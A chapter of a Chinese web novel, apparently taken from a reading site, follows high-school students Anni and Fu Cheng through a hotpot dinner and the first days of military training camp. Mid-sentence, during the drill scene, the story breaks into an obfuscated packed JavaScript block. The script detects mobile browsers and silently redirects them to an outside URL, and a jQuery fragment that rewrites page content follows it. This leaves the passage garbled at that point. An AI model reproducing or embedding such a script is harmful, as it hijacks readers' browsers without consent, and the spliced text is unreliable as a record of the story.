安霓显得异常镇定。
既然他都这么说了,那她就不客气了。
筷子往里戳,成功捞起那块虾滑,蘸酱入口,美美地享受。
姚婷和李暖也不瞎,自然将这一幕揽入眼里。
笑了笑,李暖忙着将那盘虾滑一勺一勺地挖进锅底里,一边说:“以前也不知道你这么爱吃虾滑啊。”
安霓冷冷瞥他一眼。
“你不知道的事,多了去了。”
李暖计算好时间,在确定那块虾滑熟了之后捞出来两块,他一手拿勺,一手用筷,虾滑越过姚婷,递到了安霓碗里。
他打趣着说:“多吃点吧,看你瘦成什么样了。”
说完就成功得到安霓又一个白眼。
付澄注意到他的动作,不着痕迹地扫一眼安霓的碗,眼神飞移,从安霓脸上收回来。
继续沉默。
姚婷听到那句话后,偷偷地瞄了下自己的大腿,再转眼瞟瞟安霓的大腿。
这就是差距啊。
她不由得叹了口气,嘴里的肉忽然就不香了。
鸳鸯锅偷懒地冒着热气。
盘子里的肉和菜越来越少,一片又一片下了锅里。
服务员小姐姐走过来问需不需要帮忙下菜,李暖笑着回说不用。
几个人说说闹闹,这顿晚饭吃了快两个小时。
结束的时候已经七点出头。
到商场门口后,一行人打了两辆车,两组人分别离开,安霓他们那辆先开走。
车到御锦城门口停下。
李暖付了打车钱,把姚婷托付给司机:“大叔,麻烦把她送到桃宁二中,谢谢了啊。”
姚婷冲窗外挥手:“拜拜!”走前还不忘提醒安霓:“后天军训别忘了带防晒啊!还有七七八八的东西也别忘了!”
安霓站在门口喊回去:“知道了。”
李暖和她走进去后,另一辆出租车停到同一个地方。
御锦城临近商业区和校区,属于高档豪华小区。
从门口远远望去,星星点点覆在几栋公寓大楼上,和墨色的天空融为一体,像一幅璀璨的星空画。
付澄下了车,车内的成奕按下窗,“后天见了澄哥!”
周正也按下他的脑袋,撇着他的脸,向窗外喊:“记得多带点吃的啊澄哥!那里的伙食差得很,我可不会多带你的份了!!”
成奕一把推开他:“滚吧你。”
付澄听得耳朵痒,他走向前一个窗口,低下头来:“师父开车。”
车都开走了,成奕还探出头来,连带着周正也一起向这边喊:“记得啊!别忘了!”
付澄头也没回,迈步走进去。
夜风清爽微凉,直直灌进他的衬衫里,鼓起风浪,路旁簌起的风伴着树叶,曳起零零落落的稀碎声。
脚步定在楼道门口前。
思绪有几秒的停滞,他转过身,看向对面那栋楼,抬头望一望迎上的风景。
一些窗户暗了下来,一些窗户闪起灯光。
付澄眼里缀着光,脑里恍惚闪过今天的画面。
他拿起手机打开微信,点进Annie的框框。
一顿操作。
安霓洗完澡后走进厨房,从冰箱里拿了瓶橙汁,转头又回卧室。关门前,客厅的李暖捧着包薯片喊:“吃不吃薯片!?”
她白了他一眼,懒得搭理。
这人不吃薯片大概会死。
双手扬了扬湿漉漉的头发,安霓一边坐下来,新翻开一张白画纸,彩笔还没拿起来,旁边的手机屏幕忽然亮起。
点进去,是那个空白头像。
已注销:【微信转账——100元】
安霓迟疑了几秒,没有收,手机放回桌上。
其实她早就猜到这人是谁,也知道他加她是什么来意,肯定是来还三明治的钱呗。现在看来,他不仅不喜欢欠别人,更不愿意无故地费别人的钱。
还挺有原则。
想着想着,安霓轻声笑了。
簌风孤寂地吹,被挡在窗外。
夜渐渐深了,星点洒上去,迷光一片,月亮躲开云雾,耀起光芒。
*
周日飞速地翻篇,几乎没有感觉地过去。
前往军训基地的路上,姚婷满肚子的哀怨吐不完,最后沉浸在安霓的耳机里安然地睡着了,当完树洞的安霓还要给她当枕头。
两个小时说快不快,说慢也不慢。
眨眼即逝。
高一七班在班主任的招呼下整整齐齐地下了车。
一下车,姚婷立马搜罗出背包里的防晒霜,她看了一眼自己的大白腿,一脸怔恐,她后悔了。她是疯了傻了才穿了条短裤出来,太阳可不会对她善良。
下一秒,防晒霜行使了它的使命,姚婷把全身上下抹了个遍。
“你带了没啊安霓?我只带了两瓶,怕不够用啊。”这四天的军训还没开始,姚婷就担心起防晒的用量了,一脸愁容地看着安霓,“你不会没带吧?”
安霓扫扫自己额前的碎发,撇至耳后,挤眉说:“带了,担心什么,才四天啊。”她的语气有点恨铁不成钢的意味。
姚婷抬头指了指刺眼的天,声音焦急:“什么叫才四天!你看看这大太阳。”
转眼,她又从书包捞起一顶粉色鸭舌帽,往头顶上一盖,护住自己那张仿佛对阳光重症过敏的白皙脸蛋。
集体走到宿舍楼下。
各个班级排好队,开始听从钟老师的指挥,首先是收手机。
姚婷很不情愿地拉着安霓往前面走,定下脚,看着同学们一个个往那个袋子里丢手机,姚婷有片刻的犹豫,好像那个袋子就是一口井,扔下去就别想拿回来了。
她和安霓一起滞在原地。
姚婷皱着眉低声说:“能不能不交啊。”
安霓呼了口气,痛快地说:“能啊,想不交就不交呗。”
潇洒地转头就走。
钟老师很是及时地传来一句:“手机一定要交,被教官发现的话一律没收,不予归还!”
仿佛有千里耳一样,鬼主意都尽数收到他耳朵里。
姚婷脸色突然一变,死死拉回安霓的手。
她投降了:“还是交吧……”
安霓泄口气,两个人乖乖地交上去。
钟老师一个字一个字地传输,毫不留情。
“手机记得关闹钟啊!要是这几天突然响了的话,我就直接泡水里了,没法子的事。”
安霓被拽着往回走的时候。
付澄正迎面走来,安霓恍惚和他对视一眼,非常短暂,二人瞬即擦肩而过。
他还是冷冰冰的。
“没事,我有机械表。”跟在他身后的周正也贱兮兮地偷笑,一把手搂过付澄的肩膀,因为没他高,这样一搂整个人就像吊在他身上一样。
成奕打趣一声:“你手机活不过四天了。”
“到时候让你陪葬!”
交完手机,学生们被教官领到宿舍里,安顿下来后再一次集合,领取一系列的装备,一人两套迷彩服、一顶迷彩帽、一个绿扁水壶、一双迷彩帆布鞋。
换了鞋觉得脚底像踩了块板砖,冷冷的生硬。
来不及歇息,外头的哨声就战斗鸡式地尖叫起来。
第一天当然比较不适应,所有人听到毛孔绷紧,紧捂着耳朵下楼群体集合,第一天的训练就此开始。
人群里,安霓第一眼就看见了付澄。
他是人群里个子最高的,背脊直得像熊山,戴上军帽站在那一脸冷漠威肃,不说话别人还以为是哪个高冷气派的严厉教官。
人虽不张扬,但气场却张扬到太过肃凉。
几个小孩跑过去,看模样身高应该是初中生,粗略估计是桃宁二中初中部的。
他们一眼就看到站在前头最显眼的付澄,那直立腰板和双手插兜的姿势让人生惧。
让他们生生憋出来几个字:“教官好!”
成奕站一旁爆笑。
周正也身子直颤,捧腹笑:“澄哥哈哈哈——”
成奕有模有样地学小孩:“教官好!”
付澄一脸冷漠,他缓了缓才知道那几个初中生是在喊他,索性就抬抬下巴。
孩子们跑过去。
安霓站在五米之外目睹全场。
她不意外地笑了,旁边的姚婷搂在她肩上,整个人像泄了气的气球,快断气一样:“怎么办,教官要是很凶怎么办?!”
安霓语调平平:“凶回去。”
姚婷心里咯噔一下。
总算见识到什么叫做用最怂的语气说最牛逼的话。
第一天可以说是四天里最轻松的一天。
分配到的教官姓白,看起来还算和蔼,可能因为是大学生,看起来年纪轻轻,长得比别的教官要白净,面容也清秀得很。
他给七连取了个名号——尖刀七连,高一七班的社会主义接班人们个个笑着作响应。
目前为止,他还没凶过七连。
而七连旁边的六连却已经被他们精通狮吼功的教官给治得服服帖帖的。这让七连的同学们万般庆幸,还是我们教官最好了!又帅又温柔。
见识了各种军规纪律后,女生和男生们往不同的方向走,各回各的宿舍。
洗完澡后,安霓坐在床沿边,一手擦拭头发,另一手摸索着行李箱,忽然从里面搜出一包薯片,青瓜味的。
一看就知道谁塞进来的,那台著名的薯片粉碎机。
安霓嫌弃地哼笑一声。
哪有人把薯片塞行李箱的,神经病……估计全成粉末了。
薯片扔回去之前,眼尖的姚婷即刻伸了手夺过薯片,咋咋呼呼:“我最爱的薯片啊!!”她尖叫几声,“我爱死你了安霓。”
说完,薯片一撕,滋滋进嘴。
安霓:“……”
胖死你。
她也懒得说话了,直接整个人瘫下去,毛巾扔一边。
本来没觉得累,可是这样躺下来后,她觉得舒心了许多,就是周围女生们的嬉笑声太过扰耳,现在还没到熄灯的时间,不过感觉快了。
她闭下眼睛,什么事情都不想。
“同学们安静一下!”班长丁玲忽然嚷嚷一声,她人比较热心,今天毛遂自荐成了七连的排长,主要管理女生们的纪律。
听到她的声音,宿舍的人都折了目光看过去。
“是这样啊,许妍妍的防晒不见了……怎么找都没找到,你们谁看见了?”丁玲边说边扫了一眼四周。
宿舍里没人说话。
有的面面相觑,有的小声嘀咕。
安霓一秒直起身子来,目光瞥过去。
气氛有点不对。
只剩下电风扇簌簌的吹风声,扰耳。
姚婷也停下吧唧嘴,舔舔嘴角。
丁玲看她们没什么反应,语气有点急:“就一瓶拳头大的防晒霜,大家都帮忙找一下啊,不可能这样无缘无故就不见了。”
有热心的同学说:“会不会是拿出去后,丢到别的地方去了?”
许妍妍低着头,一脸的委屈,但不带恶意。她轻轻抬眼,语气很弱:“不可能的……我就放在床头而已。”
安霓的双眸沉了下来,带点冷意。
她转眼看向还没合上的行李箱,片刻低下头去,手往行李箱捞了捞。
旁边也有人弱弱地说了句:“那就肯定是被偷了。”
许妍妍听到那些话,无奈地看向丁玲,揪了揪她的衣袖,丁玲得了她投来的眼色,知道她想就这样算了,两个人叹了口气。
刚转身,许妍妍的手肘被碰了一下,回过头来,一瓶防晒霜到了手里。
“给你。”
是安霓的声音,她说完头也没回地走了。
许妍妍还没来得及说谢谢,眼睛定在那个背影许久,直到安霓躺下。
*
第二天早上站十分钟的军姿。
每个人的腰杆子挺得像竹竿,手掌紧紧贴在大腿侧。
当然有很多自以为精明的人都在偷懒。他们趁教官不经意的时候松一下腿,撇一下手,扭一下脖子,更放肆的安霓直接蹲了下去。
只因为膝盖关节有点酸,想着蹲一蹲缓解缓解,哪知道——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372814|168199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那个女生!你在干什么!”
安霓听到白教官嚷嚷一声,觉得自己踩了狗屎运,没什么表情,一秒直起身子。
姚婷在她旁边颤抖着,被这么一唬给吓一跳,偷懒的姚婷瞬息挺直腰板。
不过,说好的温柔教官哪去了?
“温柔”的白教官走了过来,双手绕在背后,面色威严,嘴角都扬着严厉的弧度。
“偷懒是吧?”
安霓撇了一下嘴,目光一低,很快又抬眼和他对视上。
“是。”
只能是了呗。
前面所有人都不知好歹地转过头来。
白教官乐呵一句:“没有教过你怎么回答教官问题吗?你还挺诚实啊,说话前应该先喊什么?”
安霓耸耸肩,有点半开玩笑地说:“报告教官!是!”
白教官抬抬下巴,冲前面喊:“前面的,看什么看!转回去。”
安霓垂着头,低下眼,几秒后抬起头来,嘴巴轻轻一抿,眼底的冷光化成一潭暖泉。
白教官笑了一声,眼里的严肃仍存,说:“嘿,别这样看着我,你以为你撒个娇就没事了吗?”
?
我哪里撒娇了。
安霓刹那间整个脑袋懵掉。
前面的人一听到这话,一个个抱着吃瓜的心态又探过头来。
“卧槽,安霓撒娇了!”
“真的假的啊!我去。”
“大美霓子还会撒娇?!她不是应该说滚么?”成奕也来凑热闹。
“滚你妹滚!”周正也拍了一下成奕的背。
付澄又一次转过头来,望了下安霓那单薄的背影,表情静默。
周围的嬉笑声在白教官的一声令下静止。
“一个个没头没脑的!都别说话了,给我站好!站不好再加十分钟!”
对面五连的人看过来,憋着笑。
七连的人赶紧整肃起来。
白教官目光重新聚到安霓脸上,指指她:“你,出列!”
安霓拉下脸,这误会可大了,名声不保。
她乖乖走出来,被白教官带到远处的空草地。
教官一走,自然就给了其他人偷闲的机会,交头接耳的人不少。
敢死队的成奕最先行动,他探过头踮着脚往那个空地看,半眯着眼说:“这是要干嘛?”
姚婷拳头蜷缩,不怕死地悄悄转了个头看向安霓的背影,自言自语:“不会要惩罚吧……我的天。”
在所有人收回目光的时候,付澄转头了。
那道背影清瘦,他看不见她的表情,只看到白教官表情肃穆,正严厉地立在安霓眼前,嘴巴开开停停。而安霓的头微微低下去,头发收在帽子里,马尾绑在帽后口,后脖白皙留影。
午休时,所有人都静躺着休息,宿舍里安静得只能听到风声。
因为这里处于山区,即使没有风扇也不会像在学校那里那么热,凉风气爽,午睡时间自然美好。
唯独安霓睡不着。
她没有午睡的习惯。她平时早睡早起,生活自律,作息时间安排妥当,生物钟就没怎么乱过。
她身上只穿了件纯白T和黑色短裤,从上到下散着慵懒休闲的气息。
听着周围这稀稀碎碎的呼吸声以及某些个轰天震耳的呼噜声,耐不住的安霓轻声穿了拖鞋,下楼来到小卖部。
意外的是,这里还有人守着。
如果没有更好,整个店都是她的。
“一瓶可乐。”
三块钱被安霓放上去,低头玩手机的前台大哥此刻抬起头来,表情似乎是惊讶了一秒,可能从没在午休的时候招待过人吧。
安霓奇怪地看着他。
十秒过去,他终于舍得站起来了,眼里的迷惑还没褪去,拿了玻璃台上的钱,“可乐?”
安霓轻轻点头。
这大哥好像有点犹豫,手里从冰箱里捞出瓶可乐,也没递给安霓的意思,只是转头问:“冰的还是常温的?”
安霓愣了片刻。
谁这大热天气不喝冰的喝温的?
“冰的。”她懒懒一声扔去。
大哥的眼神有点意味深长,安霓奇怪地瞥他一眼,接过那瓶可乐,开口往嘴里灌。
安霓站在那扫望四周几眼,只觉得这店好寒碜,几个冰箱加上几个货架,空空荡荡的,不知道的还以为这家店被抢劫打了个空。
也是了,丧尸长跑队附体的同学们“抢”的。
她滞步之际,身边一道清声入耳。
“一瓶可乐。”
不咸不淡的语气,让安霓觉得耳熟,余光的身影很高,直视过去,是他。
付澄。
他怎么也没睡。
显眼的是,他头发微湿,像是刚洗完澡擦拭过的。
他同样穿了一条休闲短裤,上身的纯黑T和安霓形成黑白对比,两人身上都透着干净的清爽气息。
安霓没转过身,双手搭在面前的玻璃台上。
“你一直都是这样?”
身边那座冰山忽然吹起冷风,话从他嘴里吐出来,都像自带准要冷场的拔凉气息。
安霓顿了一下,睨他一眼收回疑惑的目光,好像满不在乎:“哪样?”
付澄喝口可乐,左手插在裤兜里,没抬眼看她,只是视线放低。
“目中无人。”
安霓乐呵一声,知道他在说什么,早上站军姿被训斥的事。
原来他看见了。
终于转过身看他,他眼神还是冷冷的,冷到阳光都融化不了的地步。
安霓冲他笑:“没有啊。”
看他严肃得跟个斥责人的教官一样,心里想着不如逗逗他。
她向前迈了一步,眼神时刻对准面前的人,他也依旧平静漠然,直迎而上安霓的目光,用一种俯视的姿态。
二人离得异常近。
因为他太高,安霓抬眼刚好对着他的下巴,索性踮了踮脚,拉近眼神的距离。
安霓收敛嘴角的笑,眼眸敛起一阵暖意,正经地对着他肃凉的眼眸,深沉道:“你看,我眼里不是有你吗?”